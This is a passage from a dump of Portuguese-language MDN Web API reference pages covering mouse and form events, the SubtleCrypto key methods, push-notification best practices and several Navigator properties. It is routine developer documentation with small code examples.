com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `MouseEvent`\n* `clientX`\n* `screenX` (en-US) / `screenY` (en-US)"}
{"title":"MouseEvent.clientX - APIs da Web","text":"MouseEvent.clientX\n==================\n\nO **`clientX`** é uma propriedade somente de leitura da interface `MouseEvent` que fornece as coordenadas horizontais dentro da área do aplicativo do cliente em que o evento ocorreu (diferente das coordenadas dentro da página). Por exemplo, clicando no canto superior esquerdo da área do cliente sempre irá resultar em um evento de mouse com um valor `clientX` de 0, independentemente se a página foi rolada horizontalmente. Originalmente, essa propriedade era definida como o número inteiro `long`. O Módulo de Visualização CSSOM o redefiniu como a fração`double`. Veja a seção de compatibilidade do Navegador para detalhes.\n\nSintaxe\n-------\n```\n\nvar x = instanceOfMouseEvent.clientX\n```\n\n### Valor de retorno\n\nUm número\n\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>clientX/clientY example</title>\n\n    <script>\n function showCoords(evt) {\n alert(\n \"clientX value: \" +\n evt.clientX +\n \"\\n\" +\n \"clientY value: \" +\n evt.clientY +\n \"\\n\",\n );\n }\n </script>\n  </head>\n  <body onmousedown=\"showCoords(event)\">\n    <p>Para mostrar as coordenadas do mouse em qualquer lugar da página.</p>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # dom-mouseevent-clientx |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `MouseEvent`\n* `clientY`\n* `screenX` (en-US) / `screenY` (en-US)"}
{"title":"HTMLFormElement: submit event - APIs da Web","text":"HTMLFormElement: submit event\n=============================\n\nO evento **`submit`** é disparado quando é feita a submissão de um `<form>` (en-US).\n\n|  |  |\n| --- | --- |\n| Bubbles | Sim (apesar de especificado como um evento simples que não borbulha) |\n| Cancelável | Sim |\n| Interface | `SubmitEvent` (en-US) |\n| Propriedade para manipular o evento | `GlobalEventHandlers.onsubmit` (en-US) |\n\nÉ importante notar que o evento `submit` é disparado no próprio elemento `<form>`, e não em um `<button>` ou <input type=\"submit\"> (en-US) dentro dele. No entanto, o evento `SubmitEvent` (en-US) enviado para indicar a ação possui uma propriedade `submitter` (en-US), que é o botão que realizou o pedido de submit.\n\nO evento `submit` é disparado quando a pessoa usuária clica em um botão (`<button>` ou <input type=\"submit\"> (en-US)) ou pressiona `Enter` enquanto está editando um campo (p. ex. <input type=\"text\"> (en-US)) em um formulário. O evento não é enviado ao formulário quando se chama o método `form.submit()` (en-US) diretamente.\n\n**Nota:** Tentar submeter um formulário que não passa na validação dispara um evento `invalid` (en-US). Nesse caso, a validação previne a submissão do formulário, impedindo que seja disparado o evento `submit`.\n\nExemplos\n--------\n\nEste exemplo usa `EventTarget.addEventListener()` para escutar por um submit do formulário, e escreve o `Event.timeStamp` (en-US) do momento em que ele é disparado. Após isso, previne a ação padrão de submeter o formulário utilizando `Event.preventDefault()`.\n\n### HTML\n\n\n```html\n<form id=\"form\">\n  <label>Campo de teste: <input type=\"text\" /></label>\n  <br /><br />\n  <button type=\"submit\">Submeter formulário</button>\n</form>\n<p id=\"log\"></p>\n```\n\n### JavaScript\n\n\n```js\nfunction logSubmit(event) {\n  log.textContent = `Formulário Submetido! Time stamp: ${event.timeStamp}`;\n  event.preventDefault();\n}\n\nconst form = document.getElementById(\"form\");\nconst log = document.getElementById(\"log\");\nform.addEventListener(\"submit\", logSubmit);\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # event-submit |\n| HTML Standard # handler-onsubmit |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Elemento HTML: `<form>` (en-US)\n* Evento relacionado: `invalid` (en-US)"}
{"title":"SubtleCrypto.importKey() - APIs da Web","text":"SubtleCrypto.importKey()\n========================\n\nO método **`SubtleCrypto.importKey()`** retorna como `Promise` de uma `CryptoKey` de uma informção dada como parâmetro.\n\nSintaxe\n-------\n```\n\nvar result = crypto.subtle.importKey(format, keyData, algo, extractable, usages);\n```\n\n### Parâmetros\n\n* *`format`* é um valor enumerado descrevendo o formato de informação da key exportada. Podendo ser um dos seguintes:\n    + `\"raw\"`, a key como um conjunto de bytes, normalmente uma key secreta.\n    + `\"pkcs8\"` uma key privada, no IETF Public Key-Cryptographic Standard Encryption #8.\n    + `\"spki\"`, normalmente uma key pública, no Simple public key infrastructure padrão.\n    + `\"jwk\"`, a key no formato JSON Web Key.\n* `keyData` é uma `ArrayBuffer` ou uma `JSONWebKey` contendo uma key no formato dado.\n* `algo` é um objeto de dicionário que define o algoritmo que foi utilizado para gerar a key que está sendo importada.\n* `extractable` é um `Boolean` indicando se a key pode ser extraída de um objeto `CryptoKey` em um estágio mais tardio.\n* `usages` é um `Array` que indica o que pode ser feito com a key. Valores possíveis do array são:\n    + `\"encrypt\"`, permitindo que a key seja utilizada para encrypting (en-US) mensagens.\n    + `\"decrypt\"`, permitindo que a key seja utilizada para decrypting (en-US) mensagens.\n    + `\"sign\"`, permitindo que a key seja utilizada para signing (en-US) mensagens.\n    + `\"verify\"`, permitindo que a key seja utilizada para verifying the signature de mensagens.\n    + `\"deriveKey\"`, permitindo que a key seja utilizada como uma key base na derivação de uma nova key.\n    + `\"deriveBits\"`, permitindo que a key seja utilizada como key base na derivação de bits de informação para uso em criptografias primitivas.\n    + `\"wrapKey\"`, permitindo que a key envolva uma key simétrica para uso (transferência, armazenamento) em ambientes não seguros.\n    + `\"unwrapKey\"`, permitindo que a key se desvincule de uma key simétrica para uso (transferência, armazenamento) em ambientes não seguros.\n### Valor de retorno\n\n* `result` é uma `Promise` que retorna a `CryptoKey` gerada.\n### Exceções\n\nA promise é rejeitada quando umas das seguintes exceções é encontrada:\n\n* `SyntaxError` (en-US) quando `keyUsages` está vazia mas a key desvinculada é do tipo `\"secret\"` ou `\"private\"`.\n* `TypeError` quando tentando utilizar um formato invalido ou se a `keyData` não é adequada para este formato.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # SubtleCrypto-method-importKey |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Crypto` e `Crypto.subtle`.\n* `SubtleCrypto`, a interface a qual ele pertence.\n### Dicionário\n\n\"Key\" = \"Chave\""}
{"title":"SubtleCrypto.deriveKey() - APIs da Web","text":"SubtleCrypto.deriveKey()\n========================\n\nO método **`SubtleCrypto.deriveKey()`** retorna como `Promise` de um recentemente gerado `CryptoKey` derivada de uma master key e um algoritmo específico dados como parâmetro.\n\nSintaxe\n-------\n```\n\nvar result = crypto.subtle.deriveKey(algorithm, masterKey, derivedKeyAlgorithm, extractable, keyUsages);\n```\n\n### Parâmetros\n\n* `algorithm` é um objeto definindo o algoritmo de derivação a se usar. Os valores suportados são:\n    + `{\"name\": \"ECDH\", \"public\": publicKey}`\n    + `{\"name\": \"DH\", \"public\": publicKey}`\n    + `{\"name\": \"PBKDF2\", salt, iterations, hash}` where *`salt`* is an `ArrayBuffer` ou um `ArrayBufferView`, *`iterations`* é o número de interações e *`hash`* é um `DOMString` identificando o algoritmo hashing para uso.\n    + `{\"name\": \"HKDF-CTR\", hash, label, context}`\n* *`masterKey`* é uma `CryptoKey` representando a master key para ser utilizada por um algoritmo de derivação de key.\n* `derivedKeyAlgorithm` é um objeto que define o algoritmo, a key derivada será utilizada para `DOMString` como um atalho para `{\"name\": derivedKeyAlgo}`. Para AES uma propriedade `length` também é requerida, e os valores possíveis são 128, 192 ou 256 bits.\n* `extractable` é um `Boolean` indicando se a key pode ser extraída de um objeto `CryptoKey` em um estágio mais tardio.\n* `keyUsages` é um `Array` indicando o que pode ser feito com a chave derivada. Os valores possíveis do array são:\n    + `\"encrypt\"`, permitindo que a key seja utilizada para encrypting (en-US) mensagens.\n    + `\"decrypt\"`, permitindo que a key seja utilizada para decrypting (en-US) mensagens.\n    + `\"sign\"`, permitindo que a key seja utilizada para signing (en-US) mensagens.\n    + `\"verify\"`, permitindo que a key seja utilizada para verifying the signature de mensagens.\n    + `\"deriveKey\"`, permitindo que a key seja utilizada como key base na derivação de uma nova key.\n    + `\"deriveBits\"`, permitindo que a key seja utilizada como key base na derivação de bits de informação para uso em criptografias primitivas.\n    + `\"wrapKey\"`, permitindo que a key envolva uma key simétrica (transferência, armazenamento) em ambientes não seguros.\n    + `\"unwrapKey\"`, permitindo que a key se desvincule de uma key simétrica para uso (transfererência, armazenamento) em ambientes não seguros.\n### Valor de retorno\n\n* `result` é uma `Promise` que retorna a key derivada como uma `CryptoKey` ou uma `CryptoKeyPair` (en-US).\n### Exceções\n\nA promise é rejeitada quando uma das seguintes exceções é encontrada:\n\n* `InvalidAccessError` quando a master key não é uma key para o algoritmo de derivação requisitado ou se o valor desta chave, `CryptoKey.usages` (en-US), não contém `\"deriveKey\"`.\n* `NotSupported` quando tentando usar um algoritmo que não é nem desconhecido e nem se encaixa para a derivação, ou se, o algoritmo requisitado da key derivada não define o comprimento da key.\n* `SyntaxError` (en-US) quando *`keyUsages`* está vazio mas a key desvinculada é do tipo `\"secret\"` ou `\"private\"`.\nExemplo\n-------\n\nAqui está um exemplo de como usar **deriveKey()** para criar uma **Secure Remote Password** (também nomeado de **Proof of Secret**) da password de um usuário.\n\n\n```js\n// salt deve ser Uint8Array ou ArrayBuffer\nvar saltBuffer = Unibabel.hexToBuffer(\"e85c53e7f119d41fd7895cdc9d7bb9dd\");\n\n// não use métodos naïve para conversão de texto, senão caracteres\n// internacionais não terão a sequência correta de byte. Use o TextEncoder quando\n// possível ou então use polyfills relevantes\nvar passphraseKey = Unibabel.utf8ToBuffer(\"I hëart årt and £$¢!\");\n\n// Você deve primeiramente importar sua passphrase Uint8array em uma CryptoKey\nwindow.crypto.subtle\n  .importKey(\"raw\", passphraseKey, { name: \"PBKDF2\" }, false, [\n    \"deriveBits\",\n    \"deriveKey\",\n  ])\n  .then(function (key) {\n    return window.crypto.subtle.deriveKey(\n      {\n        name: \"PBKDF2\",\n        salt: saltBuffer,\n        // não seja muito ambicioso, ou pelo menos tenha em mente\n        // que celulares com baixo poder de processamento vão acessar o seu app\n        iterations: 100,\n        hash: \"SHA-256\",\n      },\n      key,\n\n      // Nota: para essa demo nós não vamos precisar de uma cipher suite,\n      // mas a API exige que a mesma seja especificada.\n\n      // Para AES o comprimento requerido é de 128 ou 256 bits (não bytes)\n      { name: \"AES-CBC\", length: 256 },\n\n      // Independente da resposta a key é extraível (menos seguro) ou não extraível (mais seguro),\n      // quando falso, a key pode ser entregue apenas como um objeto crypto web, não inspecionado\n      true,\n\n      // esse objeto crypto web será permitido para apenas essas funções:\n      [\"encrypt\", \"decrypt\"],\n    );\n  })\n  .then(function (webKey) {\n    return crypto.subtle.exportKey(\"raw\", webKey);\n  })\n  .then(function (buffer) {\n    var proofOfSecret = Unibabel.bufferToHex(buffer);\n    // esta proof-of-secret / password remota-segura\n    // pode agora ser enviada no lugar da password do usuário\n  });\n```\n\n\nNota: Por conta de não haver ferramentas nativas que convertam entre Uint8Array, Unicode, hex, e base64, você provavelmente vai querer utilizar algo como o Unibabel ou Buffer para converter entre eles.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # SubtleCrypto-method-deriveKey |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Crypto` e `Crypto.subtle`.\n* `SubtleCrypto`, a interface a qual ele pertence.\n### Dicionário\n\n\"Key\" = \"Chave\"\n\n\"Master key\" = \"Chave mestre\"\n\n\"Proof-of-secret\" = \"Prova de segredo ou Atestado de sigilo\"\n\n\"Password\" = \"Palavra passe ou Senha\""}
{"title":"SubtleCrypto.generateKey() - APIs da Web","text":"SubtleCrypto.generateKey()\n==========================\n\nO método **`SubtleCrypto.generateKey()`** retorna como `Promise` de uma recentemente gerada `CryptoKey`, para algoritmos simétricos, ou uma `CryptoKeyPair` (en-US), contendo duas keys recentemente geradas, para algoritmos assimétricos, que combina com o algoritmo, o uso e a extractividade são dados como parâmetro.\n\nSintaxe\n-------\n```\n\nvar result = crypto.subtle.generateKey(algo, extractable, keyUsages);\n```\n\n### Parâmetros\n\n* *`algo`* é um objeto do dicionário definindo a função utilizada da geração da key. algo suportados são : AES-CBC (en-US), `AES-CTR`, `AES-GCM`, `RSA-OAEP`, `AES-KW`, `HMAC`, `RSASSA-PKCS1-v1_5`, `ECDSA`, `ECDH`, e `DH`. Os formatos de objetos do dicionário são:\n    + `\"name\"`, o qual corresponde com um dos algo's suportados listados acima,\n    + `\"modulusLength\"`, o qual corresponde com o número de dígitos usado nos módulos\n    + `\"publicExponent`\", uma `Uint8Array` (en-US) representando o exponencial público\n    + `\"hash\"`, um objeto do dicionário referenciando o uso do algoritmo hash. Por exemplo:\n        - `{name: \"SHA-512\"}`\n* `extractable` é um `Boolean` indicando se a key pode ser extraída do objeto `CryptoKey` em um estágio mais tardio.\n* `keyUsages` é uma `Array` indicando o que pode ser feito com uma key recentemente gerada. Os possíveis valores da array são:\n    + `\"encrypt\"`, permitindo que a key seja utilizada para encrypting (en-US) mensagens.\n    + `\"decrypt\"`, permitindo que a key seja utilizada para decrypting (en-US) mensagens.\n    + `\"sign\"`, permitindo que a key seja utilizada para signing (en-US) mensagens.\n    + `\"verify\"`, permitindo que a key seja utilizada para verifying the signature de mensagens.\n    + `\"deriveKey\"`, permitindo que a key seja utilizada como uma key base para quando se derivando uma nova key.\n    + `\"deriveBits\"`, permitindo que a key seja utilizada como uma key base quando se derivando bits de dados para uso em criptografias primitivas.\n    + `\"wrapKey\"`, permitindo que a key envolva uma chave simétrica para uso (transferência, armazenamento) em ambientes não seguros.\n    + `\"unwrapKey\"`, permitindo que a key se desvincule de uma chave simétrica para uso (transferência, armazenamento) em ambientes não seguros.\n### Valor de retorno\n\n* `result` é uma `Promise` que retorna uma key gerada como uma `CryptoKey` ou uma `CryptoKeyPair` (en-US).\n### Exceções\n\nA `Promise` é rejeitada quando a seguinte exceção é encontrada:\n\n* `SyntaxError` (en-US) quando `keyUsages` está vazia mas a key gerada simetricamente é do tipo `\"secret\"` ou `\"private\"` ou o componente privado gerado do par de key assimétrica está vazio.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # SubtleCrypto-method-generateKey |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Crypto` e `Crypto.subtle`.\n* `SubtleCrypto`, a interface a qual ele pertence.\n### Dicionário\n\n\"Key\" = \"Chave\""}
{"title":"Melhores práticas - APIs da Web","text":"Melhores práticas\n=================\n\nEste artigo proporciona um compilado das melhores práticas a serem usadas enquanto estiver desenvolvendo websites e aplicações que usem Notificações push para engajamento de usuários.\n\n> \n> \"Se feito de uma maneira correta, as notificações ajudam os usuarios, se não, so irritam.\" — Conversa entre dois desenvolvedores a respeito da etica das notificações push.\n> \n> \n> \n\nVisão Geral do *web push notifications*\n---------------------------------------\n\n*Notificações Web Push* (criadas usando uma combinação das APIs de *Notificações (en-US)*, *Push* e *Service Worker*) são parte de um movimento crescente em que desenvolvedores e comerciantes estão usando para conseguir atenção para seus sites. Uma procura rápida pelo termo \"*web push notifications*\", irá resultar em vários artigos, em que especialistas em marketing que acreditam que deve-se usar a API de Push para recapturar a atenção de pessoas que saíram de seu site para que possam terminar o que estavam fazendo, por exemplo, uma compra, ou então enviar as últimas notícias e até recomendação de produtos\n\n### O Lado obscuro\n\nEssa novidade oferece uma oportunidade nova e inexplorada para sites empresariais chegarem aos seus consumidores finais. Seu usuário trocou de aba para responder um email? Consiga-os de volta com uma oferta que expira em um tempo limitado ou oferecendo frete grátis, o qual ele não vai poder ignorar\n\nMas sério, qual o melhor uso das notificações push? Ou é apenas uma nova interação dos bons e velhos pop-ups?\n\n> \n> \"O envio de notificações push não corre o risco de acabar na pasta de spam. Nem pode ser bloqueado por bloqueadores de anúncios. Ele aparece na sua área de trabalho, mesmo quando o site está fechado. No celular, ele aparece na barra de notificações, assim como as notificações por push do aplicativo, mesmo quando o navegador não está em execução.\" — um site de marketing anonimo\n> \n> \n> \n\n### Bons usos das notificações\n\nMas há também um lado bom no que se diz respeito as notificações por push. Digamos que você e sua equipe usem normalmente um programa de bate-papo para se comunicar, mas hoje você está feliz e saltitante trabalhando e surge um problema. Digamos que seu gerente tenha encontrado um problema nas aprovações e queira receber seu feedback sobre algo antes que ela prossiga.\n\nNeste documento, falaremos sobre o uso correto das notificações por push da web. Às vezes, eles podem eliminar a frustração e o aborrecimento e, às vezes, causá-los. Cabe a você, como desenvolvedor, fazer recomendações (e decisões) sábias sobre o uso de notificações por push.\n\nO que se espera alcançar com as notificações push?\n--------------------------------------------------\n\nComo tudo, com grande poder vem uma grande responsabilidade. Toda notificação push devem ser úteis e sensíveis ao tempo, o usuário sempre deve fornecer a permissão antes de recebe-la primeiro e deve-se oferecer uma maneira fácil de optar por não receber mais no futuro.\n\nTemos que responder algumas perguntas basicas para verificar se as notificações são necessarias:\n\n* Existe alguém esperando em tempo real por uma resposta? No exemplo acima, o gerente aguarda sua resposta e, portanto, uma notificação por push é apropriada.\n* A atualização em tempo real é necessária? Eu uso um serviço que agrega diferentes fontes de notícias de mídia social. Quando uma história em que estou interessado está em alta, gostaria de receber uma notificação!\n* Há notícias de última hora relevantes? É aqui que fica um pouco complicado. Às vezes, os sites de notícias solicitam notificações por push para que possam dizer \"Olhe para mim! Olhe para mim!\" Tudo se resume ao que o usuário deseja, e você pode usar o comportamento para determinar a interação. Por exemplo, se o usuário visualizar mais de um artigo ou permanecer na sua página por vários minutos, ele poderá estar interessado em receber atualizações.\n\nAlém da questão de saber se uma notificação por push é necessária, existem muitas variedades de notificações por push, variando de casual e efêmera a persistente e exigente.\n\nAconselhamos que você use as notificações que exigem uma interação de forma conciente e com moderação, pois estas podem irritar seu usuario e afasta-lo. Suas notificações devem ser acolhedoras, não hostis.\n\nGerando confiança\n-----------------\n\nAlguns estudos mostraram que até 60% das notificações por push não chegam ao usuário final. Permitir que seu usuario receba notificações por push em tempo real exige confiança, por parte do aplicativo. Você pode criar confiança ao ter um site bem projetado que forneça um bom conteúdo e que mostre respeito pelo usuário alem de um valor claro para que o usuario aceite as notificações push.\n\nMitigações dos navegadores\n--------------------------\n\nPor causa dos abusos da utilização das notificações por push no passado, os desenvolvedores de navegadores começaram a implementar estratégias para ajudar a mitigar esse problema. Por exemplo, o Safari 12.1 agora exige - e outros navegadores já o fazem ou estão planejando[1] fazer—que o usuário interaja com a página de alguma forma antes que ela possa solicitar permissão para executar notificações por push, assim como já acontece com os popups. Isso pelo menos impede que o usuário receba espontaneamente essa pergunta em páginas da Web que apenas olharam de uma só vez, raramente ou nunca mais.\n\n[1] No caso do Firefox, veja Erro do Firefox 1524619, podemos observar que Firefox 68 implementa isso, desabilitado por padrão, usando a preferência `dom.webnotifications.requireuserinteraction`.\n\nVeja também\n-----------\n\n* Notifications API (en-US)\n* Using the Notifications API (en-US)\n* Push API"}
{"title":"Navigator.battery - APIs da Web","text":"Navigator.battery\n=================\n\nResumo\n------\n\nO objeto `battery` fornece informações sobre o nível de carga da bateria do sistema; você pode também escutar eventos enviados por ele que fornecem atualizações sobre o status atual da carga. Isso implementa a Battery Status API; consulte essa documentação para mais detalhes, um guia de utilização da API e códigos de exemplo.\n\nSintaxe\n-------\n```\n\nvar battery = window.navigator.battery;\n```\n\nValor\n-----\n\n`navigator.battery` é um objeto do tipo `BatteryManager`.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* the Battery Status API article\n* Blog post - Using the Battery API\n* David Walsh on the JavaScript Battery Api\n* battery.js - a tiny cross-browser wrapper"}
{"title":"Navigator.geolocation - APIs da Web","text":"Navigator.geolocation\n=====================\n\nA propriedade de apenas leitura **`Navigator.geolocation`** retorna um objeto `Geolocation` que disponibiliza acesso de conteúdo Web à localização do dispositivo. Isso permite que um Web site ou aplicativo ofereçam resultados customizados baseado na localização do usuário.\n\n**Nota:** Por questão de segurança, quando uma página web tenta acessar as informações de localização, o usuário é notificado e lhe é perguntado se este garante permissão. Esteja alerta que cada navegador possui suas próprias políticas e métodos para requisitar permissão.\n\nSintaxe\n-------\n```\n\ngeo = navigator.geolocation\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # dom-navigator-geolocation |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n\n* Utilizar geolocalização (en-US)"}
{"title":"navigator.getUserMedia - APIs da Web","text":"navigator.getUserMedia\n======================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método Navigator.getUserMedia() atualmente esta *deprecated* (obsoleto), ele é responsável por pedir a permissão do usuário para usar até 1 dispositivo de entrada de vídeo (como câmera, ou tela compartilhada) e até 1 dispositivo de entrada de áudio (como o microfone) como fonte para o stream de mídia (pode ser representado por uma instância `MediaStream`).\n\nSe o usuário der permissão, a MediaStream (o *track* do video e/ou audio) , é entregue ao *callback* de sucesso, se a permissão é negada, pode ser que não haja dispositivo compatível ou alguma condição de erro aconteceu, retornando o *callback* de erro com uma instância do objeto `MediaStreamError` , com a descrição do erro que aconteceu, se o usuário não fizer nenhuma escolha, nenhum *callback* é retornado.\n\nSintaxe\n-------\n```\n\nnavigator.getUserMedia ( permissoes, callbackSucesso, callbackErro );\n```\n\nExemplo\n-------\n\nEste é um exemplo de uso da função getUserMedia() com prefixos específicos dos navegadores.\n\n\n```js\nnavigator.getMedia =\n  navigator.getUserMedia ||\n  navigator.webkitGetUserMedia ||\n  navigator.mozGetUserMedia ||\n  navigator.msGetUserMedia;\n\nnavigator.getMedia(\n  // permissoes\n  {\n    video: true,\n    audio: true,\n  },\n\n  // callbackSucesso\n  function (localMediaStream) {\n    var video = document.querySelector(\"video\");\n    video.src = window.URL.createObjectURL(localMediaStream);\n    video.onloadedmetadata = function (e) {\n      // Faz algo com o vídeo aqui.\n    };\n  },\n\n  // callbackErro\n  function (err) {\n    console.log(\"O seguinte erro ocorreu: \" + err);\n  },\n);\n```\n\nParâmetros\n----------\n\n| parâmetro | Obrigatório/ Opcional | Descrição |\n| --- | --- | --- |\n| permissoes | Obrigatório | Os tipos de mídia habilitados no objeto LocalMediaStream enviado para a callbackSucesso. |\n| callbackSucesso | Obrigatório | A função da aplicação a ser invocada para receber o objeto LocalMediaStream. |\n| callbackErro | Opcional | A função a ser invocada na aplicação se a chamada a getUserMedia falhar. |\n\n### permissoes\n\nO parâmetro permissoes é um objeto MediaStreamConstraints com dois membros do tipo Boolean: `video` e `audio`. Estes membros descrevem os tipos de mídia habilitados no objeto LocalMediaStream (en-US). Pelo menos um destes membros deve ser especificado para que o argumento seja validado. Se um membro especificado não for suportado pelo navegador, a função getUserMedia invocará a callbackErro com o erro NOT\\_SUPPORTED\\_ERROR. Se o navegador não puder encontrar nenhuma fonte de mídia com o tipo especificado, a função getUserMedia invocará a callbackErro com o erro MANDATORY\\_UNSATISFIED\\_ERR.\n\nSe o valor de um membro não estiver especificado no objeto, o valor padrão deste membro será falso. Veja como configurar o objeto permissoes para obter tanto áudio como vídeo:\n```\n\n{ video: true, audio: true }\n```\n\n### callbackSucesso\n\nA função getUserMedia invocará a função especificada em callbackSucesso com o objeto LocalMediaStream (en-US) que contém a fonte de mídia. Você pode associar este objeto com o elemento apropriado e trabalhar com ele, como mostrado no exemplo a seguir:\n\n\n```js\nfunction(localMediaStream) {\n   var video = document.querySelector('video');\n   video.src = window.URL.createObjectURL(localMediaStream);\n   video.onloadedmetadata = function(e) {\n      // Faz algo com o vídeo aqui.\n   };\n}\n```\n\n### callbackErro\n\nA função getUserMedia invocará a função especificada em callbackErro com um argumento `code`. Os códigos de erro são descritos abaixo:\n\n| Erro | Descrição |\n| --- | --- |\n| PERMISSION\\_DENIED | O usuário não permitiu acesso a um dispositivo de mídia necessário para essa operação. |\n| NOT\\_SUPPORTED\\_ERROR | Uma mídia especificada não é suportada pelo navegador. |\n| MANDATORY\\_UNSATISFIED\\_ERROR | Nenhuma fonte de mídia do tipo especificado foi encontrada. |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Media Capture and Streams # dom-navigator-getusermedia |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* WebRTC (en-US) - a página introdutória a API\n* MediaStream API (en-US) - a API para objetos de fonte de mídia\n* Taking webcam photos (en-US) - um tutorial sobre como usar a getUserMedia()"}
{"title":"Navigator.share() - APIs da Web","text":"Navigator.share()\n=================\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nO método **`navigator.share()`** da API de compartilhamento da Web chama o mecanismo de compartilhamento nativo do dispositivo.\n\nSintaxe\n-------\n```\n\nvar sharePromise = navigator.share(data);\n```\n\n### Parâmetros\n\n`data`\n\nUm objeto que contém dados para compartilhar. Pelo menos um dos seguintes campos deve ser especificado. As opções disponíveis são:\n\n* `url`: Um `USVString` (en-US) representando uma URL a ser compartilhada.\n* `text`: Um `USVString` (en-US) representando texto a ser compartilhado.\n* `title`: Um `USVString` (en-US) representando o título a ser compartilhado.\n\n### Valor de retorno\n\nUm `Promise` (en-US) que será cumprido assim que um usuário concluir uma ação de compartilhamento (geralmente o usuário escolheu um aplicativo para compartilhar). Ele rejeitará imediatamente se o parâmetro de dados não estiver especificado corretamente e também rejeitará se o usuário cancelar o compartilhamento.\n\nExemplos\n--------\n\nEm nosso teste de compartilhamento na Web (consulte o código-fonte), há um botão que, quando clicado, invoca a API de compartilhamento na Web para compartilhar o URL da MDN. O JavaScript fica assim:\n\n\n```js\nconst shareData = {\n  title: \"MDN\",\n  text: \"Aprenda desenvolvimento web no MDN!\",\n  url: \"https://developer.mozilla.org\",\n};\n\nconst btn = document.querySelector(\"button\");\nconst resultPara = document.querySelector(\".result\");\n\n// Deve ser acionado algum tipo de \"ativação do usuário\"\nbtn.addEventListener(\"click\", async () => {\n  try {\n    await navigator.share(shareData);\n  } catch (err) {\n    resultPara.textContent = \"Error: \" + e;\n  }\n  resultPara.textContent = \"MDN compartilhado com sucesso!\";\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Share API # share-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `navigator.canShare()` (en-US)"}
{"title":"Navigator.deviceMemory - APIs da Web","text":"Navigator.deviceMemory\n======================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade de somente-leitura **`deviceMemory`** da interface `navigator` (en-US) retorna a quantidade de memória do dispositivo em gigabytes. Este valor é uma aproximação por arredondamento da potência mais próxima de 2 e dividindo este número por 1024.\n\nSintaxe\n-------\n```\n\nvar memory = navigator.deviceMemory\n```\n\n### Valor\n\nUm número de ponto flutuante.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Device Memory # sec-device-memory-js-api |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Navigator.cookieEnabled - APIs da Web","text":"Navigator.cookieEnabled\n=======================\n\n`navigator.cookieEnabled` retorna um valor *Booleano* que indica quando *cookies* estão habilitados ou não. A propriedade é de apenas leitura.\n\nSintaxe\n-------\n\n\n```js\nvar cookieEnabled = navigator.cookieEnabled;\n```\n\n\n* `cookieEnabled` é um Booleano: `true` ou `false`.\nExemplo\n-------\n\n\n```js\nif (!navigator.cookieEnabled) {\n  // The browser does not support or is blocking cookies from being set.\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-navigator-cookieenabled-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
